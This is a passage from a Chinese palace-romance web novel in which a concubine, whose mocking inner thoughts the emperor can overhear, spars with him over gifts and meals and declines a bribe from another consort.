元明帝想要将赏赐收回来,话在嘴边一转,硬生生咽了回去。 天子金口玉律,岂能与她一般见识!今朝是大朝会之日,待他退朝之后,再去与她算账! 繁英阁。 江舲一整晚都没能睡好,酒后头重身子轻,恶心无力。躺在床上,跟烙饼般翻来覆去。无论何种姿势,总是不得舒服。 文涓端着炊饼汤进屋,她将碗放在高几上,撩起床帐挂好,关心地道:“美人,起来吃些炊饼汤,肚子暖和了,身子便能舒适些。” 江舲躺着不动,有气无力道:“我没胃口,待睡一觉就无事了。” 文涓担忧不已,劝道:“奴婢还是去请太医吧,美人这样下去可不行。” 酒后的感觉,江舲很是熟悉,看世界虚幻,精神恹恹。一般来说,只要能安稳睡一觉,便能恢复大半精神。顶多两天,就能彻底恢复。 江舲道不用,她揭开被褥,拂去额头上的发丝,问道:“你瞧瞧面疱是何种颜色?” 文涓凑上前仔细一看,道:“奴婢见着已经泛白。” 江舲顿时有了力气,翻身坐起,兴致勃勃道:“文涓,去拿干净的热帕子,布,铜镜来。” 文涓虽不知江舲要作甚,见她终于有了些精神,忙照着吩咐取了来。 卧房昏暗,文涓点亮了烛台,举着铜镜立在床前。 江舲擦拭干净手,对着铜镜,用力按下面疱。里面的白色脓肿,啪地一下在铜镜上溅开。 “好了!”江舲再挤了几下,用布轻轻抹干净眉心。 她最喜欢挤痘,觉着格外解压。酒后的身子不适,此时至少去了小半。 文涓看着江舲泛红肿胀的眉心,急道:“美人真是,奴婢若早知晓,就拦着美人了。美人弄破了肌肤,以后仔细留疤。何况留在眉心,想要人看不见都难。” 她沉吟了下,低声道:“皇上喜欢雅致,完美。在后宫之中,皇上最宠爱的并非林贵妃,赵德妃她们。以前的黄婕妤才最最得宠,皇上几乎天天歇宿在她那里,盛宠不断。后来,皇上突然就不去了。奴婢听说黄婕妤给皇上做里衣时,不小心伤了手背,留下了豆大的疤痕。皇上觉着黄婕妤如一块完好的玉,有了裂纹之后,便再也不美。” 黄婕妤一朝跌落,从此郁郁寡欢,前年冬日生病去世。 “没事,很快就会消下去,就算留下疤痕,过一段时日也就散了。” 江舲有经验,即便留疤,她亦无所谓。 经过昨夜,她从里到外见识过了元明帝,哪怕顶着满脸的疤,配他都绰绰有余! 眉心的小点瑕疵,她可以用花钿来修饰。 他身子的不足,此生都无望了! 文涓见劝慰无用,只能作罢。江舲重新躺回床上,闭眼努力歇息。 正在迷迷糊糊中,文涓将她唤醒:“美人,张善送皇上的赏赐来了。” 江舲只能起身,略微收拾了下,到正厅去接赏。张善脸上堆满笑,恭敬无比,客气无比地道喜,差内侍抬着匣子上前。 江舲谢了恩,文涓拿出荷包塞给张善,他接过塞进衣袖中,抬手见礼,道:“美人身子不舒服,奴婢不多打扰了,美人多保重才是。” 待张善他们离开,江舲回到次间,文涓阿箬芳荷一起抬着匣子进屋,打开取出里面的花瓶茶盏玉梳。 江舲拿起一一看过,看到官窑以及宫中的徽记,兴趣缺缺放了下来:“收起来吧。” 贵重是贵重,实则只能当做摆设,还不如金银实在。 江舲这时能深刻体会,赵德妃娘家会因为元明帝的赏赐,变得愈发困窘。 她也一样,仅仅是给黄梁张善他们的打点,已花了她不少银子。若元明帝再多来几次,她积攒下来的那点月例银,只怕是留不住了。 江舲肚子空空,脑袋晕沉,想着她的银子,此时连胸口都开始憋闷。她连手指都不想动,就势在榻上躺下来,无精打采道:“文涓,我就歇在这里,你去给我拿床被褥来。” 文涓赶忙进卧房搂了被褥出来盖在江舲身上,示意阿箬芳荷动作轻些,让江舲安生歇息。 这下江舲终于睡了过去,一觉醒来已经是午后,用过饭后,精神终于恢复了些。 文涓斟了茶奉上,江舲靠在软垫上,举着粉青的茶杯端详,道:“茶杯不错,茶叶差了些。” “奴婢在殿前当差时,听茶水房的宫女说过,那闵地上贡的溪边粟粒牙与龙凤团茶,茶汤透亮,清香扑鼻。生津止渴,还能消食呢!” 文涓坐在杌子上做香包,她自觉失言,忙赔笑道:“茶要茶引,奴婢也没吃过,就听她们说了些没影子的闲话。” 茶叶好坏真假且不提,林贵妃赵德妃等受宠的嫔妃,肯定有好茶。 文涓怕江舲听了不快,补了话来安慰她。 江舲浑不在意,她现在就像是茶叶,元明帝给她的恩赐如粉青釉盏,乞丐身上穿绫罗绸缎。 “这是今朝送来的新鲜腊梅?”江舲问道。 文涓答道:“是,先前美人在睡着,秦尙宫来了一趟,送了些腊梅来。说是垂拱殿要了好些腊梅去,如今腊梅在宫中紧俏得很,苑囿那边也所剩无几了。” 昨日元明帝在榻上午歇时,伴着腊梅的香包入睡。定是他觉着好,下令将垂拱殿的花草换成了腊梅。 上行下效,京城达官贵人们附庸风雅也好,拍马屁也罢,腊梅很快便会在京城流行开来。 到时,腊梅变成香饽饽,价钱上涨。苑囿除瑞香水仙山茶之外,连腊梅都供不上。 李婕妤大哥李员外郎消息得知快,他若长了些许的脑子,提前买入,怕是能发笔横财。 江舲朝天翻着白眼,将元明帝骂了一通。都怪他,她没了心爱的腊梅,银子也没她的份! 说曹操,曹操就到。阿箬急匆匆跑进屋,道:“美人,皇上来了。” 文涓赶忙收拾香包腊梅枝,瞧着披头散发的江舲,收拾梳妆已经来不及。她一咬牙,道:“来不及了,美人赶紧在榻上躺着。” 江舲躺了下来,文涓飞快地将被褥盖在她身上,转身出去迎驾。 此起彼伏的请安声后,元明帝大步进了次间。江舲努力装着虚弱,挣扎着起身,欲下榻见礼。 元明帝上下打量着江舲,她眉心一团红,面色些许苍白,看上去不像是病得下不了榻那般严重。 江舲挣扎了几下,不见元明帝叫免礼,心里暗骂了句:“草,真是不懂得怜香惜玉的渣男!” 元明帝虽不懂何为“草”,“渣男”,但他确定江舲是在骂他。本来他尚在犹豫中,见状便一言不发,面无表情等着她下榻。 江舲拖着腿下榻,颤巍巍了两下,气若游丝道:“臣妾生着病,未能及时远迎,请皇上恕罪。” 元明帝冷眼在江舲身上来回打转,她的罪,岂只是未能及时恭迎圣驾。凭着她披散的头发,凌乱的衣裳,御前失仪,便能治她个大不敬的罪! “江氏,你的面疱之症,还真是沉疴难起。”元明帝俯身逼近,双眸直视着江舲,一字一顿地道。 江舲慌得后退,撞着榻跌坐下去。她心虚气短,一时不知该如何回答,耷拉着脑袋一声不吭。 元明帝哼了声,撩起衣袍在江舲身边坐下,手指抬起她的下巴。他神色不悦地盯着她的眉心,沉声道:“你这面疱,如何成了如此模样。好生生的脸,以后便破了相。” “臣妾面上不雅,请皇上恕罪。”江舲偏开头,规规矩矩低眉敛目,心里却骂道:“乱动手动脚的人最讨厌了!我的脸,关你什么事,破相也比你好看一万倍!你要是看不惯,你该反省自己,是不是你眼睛的问题,眼瞎心瞎!” 元明帝气得一甩手,指尖余留的细腻,勉强让他没转身就走。 “你还知道不雅!”元明帝斜乜过去,看到她的眉心就来气,干脆别过头,不再看她。 黄梁领着文涓上前奉茶后退下,朝政繁忙,元明帝好不容易得闲。始终惦记着她,急匆匆来到繁英阁,茶都顾不得吃。 被她一气,元明帝更觉口干舌燥,端起茶盏吃了半杯。 “这套茶盏,你可喜欢?”元明帝摸索着釉的裂纹纹路,慢吞吞问道。 “皇上御赐之物,臣妾深感荣幸,喜不自禁。”江舲口是心非答着,心里却想着:“我喜欢的是金银,真金白银!请赏赐我金银,拿金银砸向我吧!” 元明帝怒极反笑,他故意借茶盏提醒,她该来垂拱殿谢恩。 他伺候得她快活,赏赐了她,还被她嫌弃! “茶叶那么差不对,他肯定吃不下我这里的茶叶!” 思及此,江舲掀起眼皮,偷偷朝元明帝的茶杯看去。她得的茶叶,煮出来的茶汤与酱油差不多颜色。他面前杯中的茶汤,红亮清澈。果然,他吃的是好茶。 “天啦,身为皇帝坐拥天下,小气不说,还吃独食!”江舲再看她杯中的酱油,心里鄙夷了他一万遍。 元明帝顺着她的目光看去,他也察觉到了茶汤的不同,莫名感到阵阵心虚。他干咳了声,不自在地道:“这粉青釉的茶杯,是朕令官窑烧制。一窑茶盏,选了最上等的送进宫。茶盏难得,要配些好茶,方不辱没如此好盏。” 他唤进黄梁,吩咐道:“取两团朕吃的龙凤团茶来。” 黄梁应是退出,江舲眨着眼睛,起身谢恩:“臣妾多谢皇上赏赐。” 元明帝见她终于安静下来,神色跟着缓和,温声道:“坐吧。” 江舲坐回去,心道:“要是再赏些金银就好了!腊梅弄得这么紧俏,都是我的功劳,该我赚的钱,为他人嫁裳,叫个鬼的赏!” 元明帝听到她时刻将金银提到嘴边,暗骂她俗不可耐,神色若有所思。 腊梅紧俏,为何她能赚钱,又替谁做了嫁裳? 黄梁送来了龙凤团茶,元明帝始终惦记着腊梅之事,见时辰尚早,起身道:“等下朕来用晚膳。” 江舲起身恭送,心里却想道:“只来吃饭,还是送上门来让我睡了?” 元明帝脚步踉跄了下,老脸控制不住一红。 回味着昨夜蚀骨般的滋味,他骂不出口,更反驳不了。 他确是鬼迷了心窍,心甘情愿送上门! 第38章 江舲盘腿坐在榻上, 生无可恋地看着阿箬煮茶。文涓在继续做腊梅香包,屋中花香伴着茶香萦绕。 阿箬端着茶放到榻边的案几上,眉开眼笑道:“美人, 这茶真是好。” 文涓觑着江舲的神色,道:“阿箬, 茶团收在罐子中,待煮的时候再取。” 阿箬收好茶团, 抱着罐子出去了。文涓绞断线, 将做好的香包佩戴在江舲腰间,问道:“美人身子如何了, 可还觉着难受?” “歇一晚就没事了。”江舲答了句,端起茶杯抿了几口, 便捧着暖手。 茶汤入口不见苦涩, 回味丝丝甘甜,比起她吃的茶要好上数倍。 只江舲以前家乡产茶,她外婆家有茶场, 家中不缺好茶。在吃习惯好茶后, 就不觉着惊艳, 与寻常的茶水无甚区别。 区区几团茶而已, 亏得阿箬那般兴奋, 以为从此以后, 便能跟着她鸡犬升天了! 文涓沉吟了下,终究没有多说, 道:“奴婢替美人梳妆。” 迎驾要装扮, 江舲不会在无关紧要的规矩上闹别扭。她道了声好,放下茶盏,去妆奁台前坐下。 文涓手指灵巧挽好发髻, 拿了玉梳与金累丝点翠钗出来,在她发间比划,道:“美人肌肤细腻,跟美玉一般,玉梳最配美人。” “既然都是皇上赏赐,皇恩浩荡,都插上吧。”江舲望着铜镜,淡淡道。 后宫嫔妃发髻上除去簪花,各式的钗簪冠,华丽繁复。江舲同时戴着玉梳与金钗,不过是稀松寻常的打扮。 文涓应了声,将玉梳与金钗一并插在江舲发髻间。她左右瞧着,目露惊叹道:“美人真是好看啊,奴婢都看得挪不开眼。” “你也好看,后宫中遍地都是美人儿。”江舲笑着道。 文涓顿了下,赔笑道:“奴婢哪能与美人相比。”她停顿片刻,诚挚地道:“在殿前伺候这些年,奴婢真生得美貌的话,便不会仍旧做着宫女了。” “我无法虚伪地安慰你,做主子还不如做宫女好,有放出宫的可能。我也无法告诉你,能被皇上看上,以后就能荣华富贵一生。” 江舲拍了拍文涓的手,笑了下,道:“我没事,昨夜吃多了酒,有些疲惫罢了。” 文涓的心思,江舲还是看得挺清楚。 她在暗暗担心,江舲兴致不高,恐惹恼了元明帝。安慰江舲长得美,莫要忧虑君王的宠爱不长久。 除此之外,文涓还有另一层深意。 宫中规矩森严难熬,到三十岁左右出宫,日子十有八九比不过做宫女。 大胤这个年纪的女子,嫁人早一些,已经做了主母。一辈子不嫁人,除非剃度出家。嫁人的话,大多只能嫁给半老之人做填房继室。宫中的日子再差,也比宫外舒适。 文涓的那些话,何尝不是认清现实之后的一种自嘲。人人皆有私心,她盼着江舲好,与阿箬芳荷也没甚区别。 若江舲真能圣宠不断,自此高升,对文涓来说只好不坏。可以求着江舲,帮着她早些出宫。亦或,能跟着江舲水涨船高,留在她身边做掌事女官。 江舲真正的想法,实在无法告诉文涓。她提不起劲的缘由,乃是元明帝无论是本身的条件,还是在床帏之间的表现,皆堪称平平无奇,不痛不痒。 另外一点,江舲没心情提。文涓解决不了,说出来只能徒增烦恼。 本来宫中就不太平,她连着侍寝,不知又会引来何种风波。 文涓见江舲想得通透,不再多劝,替她搽了胭脂水粉,点了胭脂准备再画花钿。 “不用画了,仔细脏了会生脓疮。”江舲偏过头道。 文涓一听,赶紧放下了胭脂,道:“时辰不早,皇上应该很快就会来,奴婢先出去瞧瞧。” 江舲回到次间坐着,没一阵,屋外响起阵阵动静,文涓进屋来回禀,她起身走到廊檐下,远远见礼请安。 元明帝更换了身深青色龙纹常袍,面无表情大步走来,看似心情不大好。 到了门前廊檐下,元明帝停下脚步,上下端详着江舲,目光在她的眉心略微停顿,不悦道:“外面冷得很,快屋去。” 文涓打起门帘,元明帝走在前,江舲随后进了屋。看到他黑着的脸,不由得暗搓搓骂道:“真是,甩什么脸子,谁惹你就去找谁,砍头抄家,血溅千里!” 元明帝气得脸愈发黑了,他张开双臂,等着人上前伺候。 黄梁先立着不动,觑见江舲无动于衷,忙上前两步,伺候元明帝解下大氅。 元明帝心道果然,她不会主动上前伺候!他冷哼了声,吃了口茶,便不耐烦放下了,吩咐道:“传膳吧。” 皇帝用膳,膳食皆从御厨送来,由尙食的内侍先试毒,繁英阁一众伺候的人不得上前。 内侍宫女们提着食盒热水,逶迤走进来。繁英阁从未有过的繁忙景象,到处都是人。 元明帝想着花木之事,心里烦躁,眉头不时蹙起。净手后,他坐在食案前,看向坐在右下首的江舲,道:“坐得近些。” 黄梁赶忙领着内侍,把江舲的食案搬到元明帝跟前,躬身肃立着,准备伺候布膳。 元明帝摆了摆手,黄梁忙领着屋内伺候的人退了出去。江舲安静旁观,规规矩矩坐在食案前,等着元明帝下令开膳。 晚膳备了酒,元明帝提起酒壶倒了一盏,江舲握着酒壶,心一横,暗道:“他鼻子不是鼻子,眼不是眼。省得被他挑刺,今晚再吃几杯,大不了再难受一场。” 元明帝见江舲终于开始聒噪,怕她吃了酒,又会骂骂咧咧,一眼斜乜过去,闲闲道:“你的面疱如此严重,莫再贪杯了。” 江舲暗自松了口气,一边谢着恩,一边心道:“总算有了点人性!” 元明帝听得多了,已经懒得理会她的不敬,抿了口酒,拿起筷子道:“用膳吧。” 江舲道是,拿起筷子默默吃起来。白日没甚胃口,午间吃了半碗热汤面,这时肚子空空。慢条斯理捡着清蒸鱼吃。 元明帝不动声色瞧着江舲,好笑地道:“冬日天气严寒,该多吃些羊肉暖身子才是,鱼一股子腥气,亏得你能吃得下。” 比起鱼腥气,江舲更不喜羊肉的膻气。她挤出丝笑,装作讪讪低头,暗自翻了个白眼:“真是管得宽!” 元明帝被噎住,不禁瞪了她一眼。好心被当做驴肝肺,他不再搭理她,由了她去。 晚间元明帝吃得少,饭菜只几乎一动不动。江舲食案上的饭菜,除去炖羊肉与炸鹅片,她皆吃得干干净净。 元明帝瞥着江舲的食案,无语片刻,道:“晚间吃得这般多,当心积食,随朕出去多走动一会。” 穿戴好风帽,江舲跟在元明帝身后,沿着廊檐慢慢走动。夜间寒意凛冽,没走几步,江舲的脸变得冰凉,忙拉紧风帽挡住寒风。 元明帝负手在后,转头看向江舲,见她只露出一双眼睛,失笑道:“冬至之后才到数九严寒天气,你就这般冷了?” 江舲瓮声瓮气道:“皇上是真龙天子,有龙气护体,自不会冷。臣妾区区凡俗之身,只能靠着风帽御寒了。” 元明帝不由得笑起来:“胡闹!”望着她那双眼眸,辉映着漫天的星辰,明亮璀璨。前去查花木变得烦躁的心情,此刻终于愉悦起来。 “玉梳与金点翠头面,与你很是相配,以后多戴着。”元明帝道。 “是,臣妾全部戴在了头上。”江舲恭敬地回答,心里却呵呵,“就这么两样,亏你也好意思提!” 元明帝又被嫌弃,默默转过身,不欲理会她了。 走了两圈,江舲心中开始哀嚎:“大冬日夜里,在外面游来荡去,真是好烦,要游荡到什么时候去啊!” 元明帝脸沉下去,这个混账,恐她积食,才在外多走动一会。他誓要治治她的懒惰,脚步加快了些。 江舲忙跟了上前,心里盘算起来:“早些睡了他,就能早些睡觉……” 元明帝心中一荡,脚步不由自主停了下来。江舲反应不及,差点撞了上去。 “外面冷,回屋去吧。”元明帝顺势携着江舲,将她半拥在怀,声音柔如春水。 姿势太过亲密,江舲本能地排斥。她浑身一僵,忙死命克制,才未一把将他甩开。 “你腰间的香包,可是又装了腊梅?”元明帝垂首望去,摘下拿在手中,宠溺地道:“你若喜欢,每日朕都让人给你送腊梅来、随你要多少,全部做成香包,将繁英阁都挂满,可好?” 江舲脱口而出道:“夏日也送?” 元明帝被呛得说不出话来,恼怒地横了她一眼,傲然道:“夏日繁花似锦,只要天下有的花,朕都可以给你寻来!” 江舲谢了恩,白眼暗暗都快翻上天:“当我是大傻子,我要那些花有什么用。你要做昏君,我才不要做惑主的狐媚子。我要的是有钱花,数不尽的金银,最好是金,听到没有!” 元明帝耳朵被震得嗡嗡嗡,免得她再乱吵嚷,干脆闭了嘴。 回屋之后,元明帝先去洗漱。更洗出来,他斥退司寝宫女,躺在床上闻着满屋的腊梅馨香,心头悸动难安,又难掩忐忑。 昨夜她是酒后失态,今晚她滴酒未沾,若是变得拘谨害羞起来,那他就白白期待了一场! 卧房外传来了动静,元明帝情不自禁屏住了呼吸。倚靠在床头,眼眸微敛,摆出怡然自得的姿态。 江舲回到卧房,掩面打了个呵欠。见元明帝躺在外面,她规规矩矩从床尾绕到了里面。 元明帝听到身边窸窸窣窣的声音,睁开眼眸,手臂控制不住地伸了出去。 方伸到一半,被一双柔夷握住了。元明帝心霎时停止跳动,朝江舲看去。她一头卷曲的乌发披在身前,半掩住了松敞开的里衣,神情自在地迎着他的视线,双眸似笑非笑,带着些漫不经心的况味。 元明帝的心头一颤,兴奋得指尖发麻。 她昨夜就是这般! 何须吃酒,她便是天底下最烈的酒,是毒。他不由自主随着她手的指引,匍匐下去。 江舲困了,元明帝如隔靴搔痒,让她意兴阑珊。她不愿再耗费功夫,干脆速战速决,几下解决掉了他。 摸索到里衣披上,江舲先下床,恭恭敬敬地屈膝道:“皇上早些安歇,臣妾告退。” 元明帝余韵未消,双眸一瞬不瞬盯着她,茫然道:“你去何处?” 江舲哪会与他同睡一床,早就让文涓在西屋的榻上铺好被褥,道:“规矩不可违,臣妾当是歇在别处。时辰不早,皇上日理万机,臣妾就不打扰了。”说罢,低眉敛目退后几步,转身走了出去。 元明帝不禁错牙,他送上门,伺候得她舒舒服服,她却依然提上裙子就走! 第39章 坐榻窄, 翻身动作稍微大些,人连着被褥一并滚到了地上。 江舲半夜摔了一次,迷迷糊糊睡得很不踏实。到拂晓时分, 她终于沉睡时,文涓领着芳荷进屋, 伺候她起身梳妆。 繁英阁在青光晨曦中,已经忙碌起来。元明帝洗漱穿戴好到正厅, 食案上摆着早膳, 江舲低眉敛目肃立一旁,屈膝见礼:“臣妾给皇上请安, 皇恩浩荡,得皇上宠幸, 臣妾感激不尽, 莫不能忘。臣妾告退,不打扰皇上用膳了。” 元明帝见她总算知道早起谢恩,虽谢得不伦不类, 昨夜因她翻脸不认人的懊恼, 瞬间就散了。再听着她的声音含混, 一听就没睡醒, 不禁愈发高兴。 她成日除去吃便是睡, 还不满骂骂咧咧。以后他得时常歇在繁英阁, 早间拉着她一道起身。得让她亲自体会一下,他一年到头, 皆要早起治理天下的不易。 元明帝似笑非笑, 对黄梁道:“赐江美人早膳。” 黄梁躬身应下,江舲的脚步停住,屈膝谢恩, 心里却在咆哮:“烦死了!天都没亮,谁有胃口吃饭!老娘要睡觉!” 元明帝被骂,嘴角却止不住微微上扬,暗暗爽快不已:“就知道你会回去继续睡,呵呵,想不到吧,朕有天下独一无二的本事、你那点小心思,在朕面前无所遁形,休想得逞!” 内侍迅速送上来早膳,江舲在食案前坐下。元明帝已经在用膳,朝她颔首,“快些吃吧,等下凉了。” 江舲应是,拿起太平馒头,掰着小口小口吃起来。 元明帝吃得慢,饮着煎香茶,不时看向江舲。胃口不好的她,将食案上的两只太平馒头,一碟糟香嫩笋,两只蟹黄灌汤包,一碗梅花汤饼,一碗蒸酥酪吃得丁点不剩。 见她再去拿糟鹅蛋,元明帝忍不住出声道:“且留着吧,仔细积食!” 江舲嘴里答应着,暗搓搓偷偷将鹅蛋拿在了手中。她不喜鹅蛋的粗糙,只极少见到,觉着着实可爱。不吃实在浪费,忍不住想要留着,等饿时当做点心吃。 元明帝将江舲的动作瞧在眼里,一时无语至极。漱口之后吃了几口清茶,他起身去垂拱殿,江舲跟着恭送出门。 到了廊檐外,江舲停下脚步,垂首屈膝施礼。元明帝脚步一顿,手伸出去,似乎在搀扶她起身,将她握着的鹅蛋拿到了手中。 “瞧你,真是丢朕的脸。”元明帝在江舲的耳畔,闻着她身上的香气,阵阵心驰神摇。他声音更低沉下去,几近呢喃道“朕难道饿着你了,嗯?” 江舲偏过头,忙着屈膝赔罪,暗骂道:“好逑烦!脸脸脸,一只鹅蛋就能代表你的脸了?鹅蛋拿来不就是吃的,难道端上桌是为了好看?你让我吃,又拿回去,一个皇帝,闲得慌,管这些鸡毛蒜皮的小事!” 元明帝耳朵嗡嗡长鸣,气得呼吸都粗了。她这个混账,成天就知顶撞他,表面恭顺,内里却张狂至极! 错牙盯着她半晌,元明帝到底舍不得惩罚她,省得耳朵再受罪,拂袖大步离去。 黄梁一众内侍宫女跟着离开,繁英阁终于归于宁静。江舲舒出口气,脚步轻快回到次间。吃饱喝足,躺在熟悉的榻上,伴着腊梅的香气,惬意地睡了过去。 一觉睡到半晌午,文涓进屋来,轻声道:“美人,李婕妤来了。” 江舲与李婕妤没打过交道,乍一听到她,不由得茫然了下,“李婕妤?” 李婕妤娘家大哥在苑囿管花木! 江舲立刻翻身坐起,紧张地摸着发髻,接过文涓递来的旋袄穿上,“快请她进屋坐。” 文涓忙着帮江舲理发髻,衣衫,安慰道:“芳荷请李婕妤到了正屋,与阿箬在奉茶伺候,美人放心。” 江舲勉强挤出丝笑,她如何能放心。飞快扣好伴扣,忙来到正屋,上前见礼:“让婕妤娘娘久等了。” 李婕妤正坐在上首吃茶,她忙放下茶盏,站起来微微欠身,手虚扶过来,脸上盈满笑,道:“江妹妹快快请起,是我不清而来,打扰了江妹妹才是。” 江舲与李婕妤不熟悉,又着实不擅长与人打交道,控制不住地局促起来,干笑着道哪里哪里,“婕妤娘娘能来,我高兴还来不及,繁英阁蓬荜生辉。” 李婕妤顿了下,掩面咯咯笑起来,一双猫儿石般的眼眸,亮若星辰。 “都说江妹妹有趣,我这一见呐,果真名不虚传。” 李婕妤拿着帕子,蘸了蘸眼角笑出来的泪,转头四望,故作惊讶地道:“我也没见着何处有光芒呀!” 江舲神色讪讪,赔笑道:“我嘴笨,不会说话,还请婕妤娘娘莫要笑话。” 李婕妤又笑,琼鼻微动,道:“你这屋子,倒真真是满室腊梅馨香。宫中如今时兴在屋中摆放腊梅,这腊梅,比那水仙还要紧俏了。” 江舲浑身一震,下意识警惕起来,应和道:“我听秦尙宫说过了,各处需要腊梅的是多了起来。” 李婕妤点点头,转开话道:“听说繁英阁的景致好,江妹妹可能让我见识一下?” “婕妤娘娘请。”江舲站起身,让着李婕妤在前,带着她在阁中转悠。 冬日天气寒冷,除去长青的花木,繁英阁与别处并无太大的不同。 李婕妤走动了一圈,在回廊的横靠上坐下,朝江舲招手道:“此处敞亮,待围成暖阁,你我就坐在这里说话。” 江舲道好,陪着李婕妤坐下。文涓忙差人前来装上两侧的棂格窗,留下小半扇棂窗,垂下豆绿纱绡帘,透气又能挡寒风。 阿箬芳荷提着薰笼过来,摆上几案小炉茶点,阁中很快就暖和了起来。 “江妹妹这里地方宽敞,安静,真真是不错。”李婕妤真诚地赞道。 如今李婕妤住在翠寒阁,五开间的屋子,主屋带东西屋,耳房,前后抱厦。除她之外,两个低份位的贵人依附她住着。 繁英阁是七开间的屋子,比翠微阁要宽敞,却只住了江舲一人。她不知该如何回答,干笑着附和了句,“婕妤娘娘过奖了。” 文涓奉上了茶水后退了出去,李婕妤打量了她一眼,端起茶,垂眸望着杯中的茶汤,抿了两口。 茶叶是元明帝赏赐给江舲的龙凤团茶,茶盏亦是粉青茶杯。江舲不住看向李婕妤,暗自紧张起来。 寝宫以及茶叶茶杯,都像是在无声地炫耀。早知道,就让文涓煮她以前吃的茶,用以前的普通茶杯。 不过,江舲很快就没再多想。毕竟她住在繁英阁的事情,早已人人皆知。 李婕妤算得上受宠,她的份位高,无人敢克扣她的月例。元明帝的赏赐更不会少。只茶叶茶杯而已,她岂会看在眼里。 “这里的景致真是好,冬日时只有些冬青,看不出名堂。待到春日时,东边的辛夷,西边的杏花海棠盛放时,坐在此处赏春,最最好不过。” 李婕妤朝东西两侧指了指道,她见江舲顺着指点看去,抿嘴笑道:“京城宅邸昂贵,家中起初只有一间小院落,我阿爹喜欢花花草草,在庭院中见缝插针种了好些。我与大哥跟着阿爹,学了不少种植花木的学问。像是腊梅,瑞香,水仙,山茶,是冬日能常见的花木,其实也不易栽种。好比腊梅突然就不开花,好生生的水仙,不知为何,从根子开始腐烂,再也救不活了。” 江舲心跳飞快,李婕妤突然提到水仙腊梅,肯定不会是只说闲话。 对她的意图摸不清楚,江舲不敢轻易接话,只努力挤出丝笑,附和着应上一声,“婕妤娘娘还懂花木,真是厉害。” “我算不上懂,粗粗知道一些罢了。” 李婕妤笑了声,话语微顿,道:“大嫂前些时日进宫,与我抱怨大哥,今年格外忙碌,成日不归家。大哥说是苑囿的花木,精心伺候着,谁知还是花开得七零八落,水仙也一样,死了好些。大哥守着苑囿,不敢轻易离开,就怕差使出了错。” 她看向江舲,苦笑一声,道:“京城自大从天气凉下来,便节庆不断。各府三天两头宴请宾客,花草远比春夏昂贵。宫中一样如此,中秋冬至过年元旦,连着几个大节庆,苑囿的花木,眼见就要没了。江妹妹管着尚寝局,该知晓水仙瑞香山茶紧缺,腊梅原来多些,如今腊梅成了抢手货,连着腊梅都供不上了。皇上叫了工部刑尚书去质问,刑尚书找到了大哥,斥骂了大哥一通,让大哥无论想什么法子,将皇上要的花木备齐。如今京城的腊梅就比往年要贵一倍不止,大哥真是苦不堪言。” 腊梅本来不缺,李郎中最早知晓元明帝要去了大半的腊梅。要是他先回禀,让内藏库去民间采买,便不会被邢尚书责骂。 他先三缄其口的原因,若非他当差不力,便是他要先赶在内藏库之前,先买腊梅屯着赚钱。 李婕妤称他们兄妹都懂花木,李郎中如她所言那般负责的话,肯定会先告诉内藏库,提早与秦尙宫打声招呼。 如此一来,就只有一种原因,李郎中要先赚钱。 究竟元明帝对邢尚书如何说,邢尚书又如何找李郎中,两人之间可有勾当在一起,江舲就不得而知了。 李婕妤的话真真假假,说得滴水不漏。换做以前,江舲肯定不会多想。如今她连着被卷进去,被逼得多长了两个心眼,一时没那么好糊弄了。 江舲心情很是复杂,宫中没有省油的灯,个个都是人精。 “大哥在府中愁眉不展,大嫂赶着来进宫见我,称大哥快丢了差使,哭着让我想法子。” 李婕妤这时站了起身,朝着江舲盈盈屈膝下去:“让江妹妹为难了,请江妹妹莫要怪罪,” 江舲被吓了跳,赶忙起身避开,扎着手去扶:“婕妤娘娘这是……真是折煞我了,婕妤娘娘快快请起。” 李婕妤坚持深深屈膝下去,方缓缓站起身,道:“苑囿花木短缺,大哥终究是难辞其咎。江妹妹管着尚寝局,平白无故受了连累。我这个人也笨,大嫂来说时,我才想起,该来替大哥向江妹妹赔个不是。” 江舲着实摸不清李婕妤的用意,只谨慎地道:“婕妤娘娘言重了。茶水冷了,我替婕妤娘娘重新换一杯。” 两人重新坐下来,江舲提壶斟了热茶,李婕妤捧着吃了一口,摸索着茶杯上的釉纹,道:“江妹妹是大度之人,不放在心上,我却不能装作不知,欺君子以方。” “当不起当不起。”江舲头痛欲裂,与她们这群聪明人打交道,比应对元明帝还要难。 “以后,若是尚寝局缺了花木,江妹妹与我说一声就是。别的我不敢保证,我会知会大哥一声,让他早早去准备好,莫要让江妹妹难做。” 说到这里,李婕妤放下茶盏,从袖袋中取出一只金蟾,放在江舲的手中:“江妹妹,我们都是后宫的姐妹,以后多走动。苑囿大哥那边,自不会忘了江妹妹的好。” 金蟾比婴儿拳头略小些,金光闪闪,沉甸甸。张开的嘴中,镶着一粒约莫拇指粗的红宝石。 宝石红如鸽子血,纯净剔透,不见任何杂质,价值千金。 金子!宝石! 江舲看直了眼,手没出息地微微颤抖。 诱惑实在太大,就算李婕妤有所图,她也只恨不得,立马揣进怀里! 第40章 “婕妤娘娘, 多谢娘娘的厚爱,金蟾太贵重,我不能收。” 江舲心在滴着血, 无比艰难地,不舍地将金蟾塞到李婕妤手上。 花木涉及到金钱, 十有八九关乎到利益,贪腐。 李婕妤一出手就是金蟾, 上面并无宫中的徽记, 只能出自李家。 元明帝申斥邢尚书,李郎中逃不了干系。李婕妤拿金蟾来找江舲, 不外乎是看到她受宠,管着尚寝局, 想要她帮着说几句话。 余下的可能, 就是李家无大碍。李婕妤想要拉上江舲,里应外合,一起发财。 无论李婕妤是何种打算, 江舲坚信一件事, 天上不会无缘无故掉馅饼。 拿了金蟾, 她要付出相应的代价, 甚至可能付出更多。 这份代价, 江舲自认为付不起, 她想要好好活下去。 一只金蟾,已经让她心底产生了动摇。若是两只金蟾, 她估计要晕过去。 若是三只, 甚至是三十只呢? 江舲从不高估自己的意志力,现在多想无益,等到三十只金蟾摆在面前, 到时再说也不迟。 “江妹妹。”李婕妤一声哽咽,凝望着江舲,那双明眸中瞬间升起雾气,变得朦胧起来。 “我并没没有别的意思,江妹妹莫要多心。大哥现在焦头烂额,到处去找花木。只这花木又不能一下变出来,交不了差使惹恼皇上,大哥免不了一顿罚。阿娘上了年岁,大嫂还瞒着她,生怕她一着急,身子吃不消。” 李婕妤蘸了蘸眼角的泪,苦涩地道:“阿娘生养我一场,我不能在身边尽孝,每每想起来,这里就难受得紧。江妹妹与我应该也一样,不为别的,只为生恩养恩的父母爹娘。” 